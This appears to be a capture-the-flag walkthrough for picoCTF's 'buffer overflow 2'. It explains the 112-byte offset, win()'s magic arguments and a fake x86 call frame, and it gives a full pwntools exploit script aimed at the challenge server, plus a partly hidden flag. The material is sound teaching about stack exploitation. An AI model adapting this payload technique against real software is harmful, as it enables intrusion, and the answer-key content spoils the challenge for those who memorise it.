Description
Building on buffer overflow 1, this 32-bit challenge requires not just overwriting EIP with the address of win(), but also passing two specific magic arguments to it on the stack.
In x86 calling convention, function arguments live just above the return address on the stack. A ROP-style fake call frame lets you supply both.
Setup
Download the binary and make it executable.
Identify the buffer offset, the address of win(), and the two required magic values with objdump/Ghidra.
wget https://artifacts.picoctf.net/c/190/vuln && chmod +x vulnobjdump -d vuln | grep -A 20 '<win>'checksec --file=vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Find the offset and win() address
ObservationThe binary takes unchecked input into a fixed-size buffer. So measure how many bytes reach the saved EIP with a De Bruijn cyclic pattern, then find win() in the symbol table.Use cyclic pattern to determine the offset (typically 112 bytes), then find win()'s address with objdump.bashcyclic 200 | ./vulnbashcyclic -l <EIP_VALUE>bashobjdump -d vuln | grep '<win>'Expected output
picoCTF{argum3nt5_4_d4yZ_...}What didn't work first
Tried: Run the cyclic pattern directly against the remote service instead of the local binary to find the offset.
The remote process crashes and closes the connection, and a plain TCP socket will never show you its EIP. Measure the offset locally, where a debugger or a SIGSEGV handler can report the register state. The local binary is the same build, so the offset carries over.
Tried: Use gdb with 'info registers' after the crash instead of cyclic -l to compute the offset.
gdb does show EIP after the SIGSEGV, but converting that 4-byte sequence back into an offset still takes cyclic -l or pwntools cyclic_find. The hex value alone tells you which chunk of the pattern landed in EIP, not how far it sits from the start of the buffer.
Learn more
The process is identical to buffer overflow 1: generate a cyclic pattern, crash the binary, read EIP, and compute the offset with
cyclic -l. For this challenge the buffer is larger (typically 100 bytes) so the offset to EIP is around 112 bytes.You can read the offset straight from the disassembly. The function prologue subtracts the local frame size from
esp:push ebp mov ebp, esp sub esp, 0x6c ; allocate 0x6c = 108 bytes for locals ... Offset to saved EIP: 108 (locals) + 4 (saved EBP) = 112 bytesBuffer + any padding lives within the 108-byte locals region; the 4 added bytes account for the saved EBP that
retrestores between you and the saved EIP.Step 2Identify the required magic arguments
Observationwin() does not print the flag unconditionally, so it must be checking its arguments. The disassembly shows two integer immediates in the cmp instructions: 0xCAFEF00D and 0xF00DF00D.Decompile win() in Ghidra or read the disassembly to find the two constants it checks: 0xCAFEF00D and 0xF00DF00D.bashobjdump -d vuln | grep -A 40 '<win>'What didn't work first
Tried: Search strings output or the .rodata section for the magic constants instead of reading the disassembly.
Those two constants are integer immediates encoded in the instruction stream, not null-terminated strings in .rodata. strings only surfaces printable sequences from data sections and shows nothing for them. Disassemble the win() body with objdump -d, or decompile it in Ghidra.
Tried: Use ltrace or strace on the binary to observe the comparison values at runtime.
ltrace intercepts library calls and strace intercepts syscalls, and neither sees an arithmetic comparison happening inside the binary's own code. You get fgets, printf, and exit, never the cmp instructions. Reading the disassembly is the only reliable way to pull out compile-time comparands.
Learn more
win() boils down to:
if (arg1 == 0xCAFEF00D && arg2 == 0xF00DF00D) { print_flag(); }In the disassembly you will see
cmp [ebp+0x8], 0xcafef00dandcmp [ebp+0xc], 0xf00df00d(offsets +8 and +12 = standard x86 cdecl arg slots). The constants0xCAFEF00Dand0xF00DF00Dare source-level integer literals - they appear directly inmain/winas the comparison immediates, visible in both objdump and Ghidra.x86 cdecl calling convention: the caller pushes arguments right-to-left onto the stack before the
callinstruction. Thecallpushes the return address. The callee's prologue pushes EBP and setsebp = esp. So after the prologue:[ebp]= saved EBP,[ebp+4]= return address,[ebp+8]= arg1,[ebp+12]= arg2.Step 3Build the fake call frame with pwntools
ObservationThis is a 32-bit binary using cdecl, so arguments sit above the return address on the stack. Fabricate a call frame: after the win() address, append a dummy return address followed by the two magic values.The payload: 112-byte padding + win() address + fake return address + arg1 (0xCAFEF00D) + arg2 (0xF00DF00D).pythonpython3 -c " from pwn import * elf = ELF('./vuln') win_addr = elf.symbols['win'] payload = b'A' * 112 # offset to EIP payload += p32(win_addr) # overwrite EIP -> win() payload += p32(0xdeadbeef) # fake return address for win() payload += p32(0xcafef00d) # arg1 payload += p32(0xf00df00d) # arg2 p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) p.sendlineafter(b'Please enter your string:', payload) print(p.recvall().decode()) "What didn't work first
Tried: Omit the fake return address slot and place arg1 immediately after win()'s address in the payload.
When ret jumps to win(), the stack pointer sits at whatever follows win()'s address in your payload. The prologue sets ebp from esp and reads the first argument 8 bytes above that: slot 0 is the return address placeholder, slot 1 is the argument. Omit the placeholder and both arguments shift down 4 bytes, so the comparison reads the second argument where the first should be and fails silently.
Tried: Use p64() instead of p32() when packing win()'s address and the magic constants.
The binary is 32-bit, as checksec confirms. p64() packs every value as 8 bytes, doubling the size of each field: the win() address bleeds into the fake-return slot, the first argument lands in the wrong position, and fgets may truncate the oversized input anyway. Match the packing width to the binary's pointer size.
Learn more
Stack at the instant win() begins executing (immediately after the vuln()
retpopsp32(win)into eip and increments esp by 4):high addr +-----------------+ | 0xf00df00d | <- [esp+8] = arg2 (read by cmp [ebp+0xc]) +-----------------+ | 0xcafef00d | <- [esp+4] = arg1 (read by cmp [ebp+0x8]) +-----------------+ | 0xdeadbeef | <- [esp] = return addr (dummy) +-----------------+ ^ esp now points here as win() executes its prologue: push ebp ; mov ebp, esp ; sub esp, ... After prologue: ebp = esp_old, so: [ebp+0x4] = 0xdeadbeef (return) [ebp+0x8] = 0xcafef00d (arg1) [ebp+0xc] = 0xf00df00d (arg2) Both compares pass -> print_flag() runs.Call sequence note. When the vuln()
retjumps towin, win's prologue runs first:push ebp; mov ebp, esp; sub esp, .... Only after the prologue do[ebp+0x8]and[ebp+0xc]point at your fabricated arg1/arg2. The dummy return address sits at[ebp+0x4]; win() never returns to it (it callsprint_flagthen exits), but if it did you'd need a real address there.32-bit only. Use
p32(), neverp64(). Little-endian meansp32(0xcafef00d)writes the bytes\x0d\xf0\xfe\xca- same byte order a real caller'spushwould produce. Callingp64(0xcafef00d)on 32-bit would tack on four\x00bytes after, scrambling the layout.This construction - overwriting EIP with a function address and manually fabricating its argument stack - is the foundation of Return-Oriented Programming. Instead of a dummy return you chain another gadget; see Buffer Overflow and Binary Exploitation for CTF. On 64-bit, args go in registers (rdi, rsi, ...), so you need
pop rdi; ret-style gadgets before the call.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{argum3nt5_4_d4yZ_...}
Pad 112 bytes to EIP, then build a fake x86 call frame: win() address + dummy return + 0xCAFEF00D + 0xF00DF00D.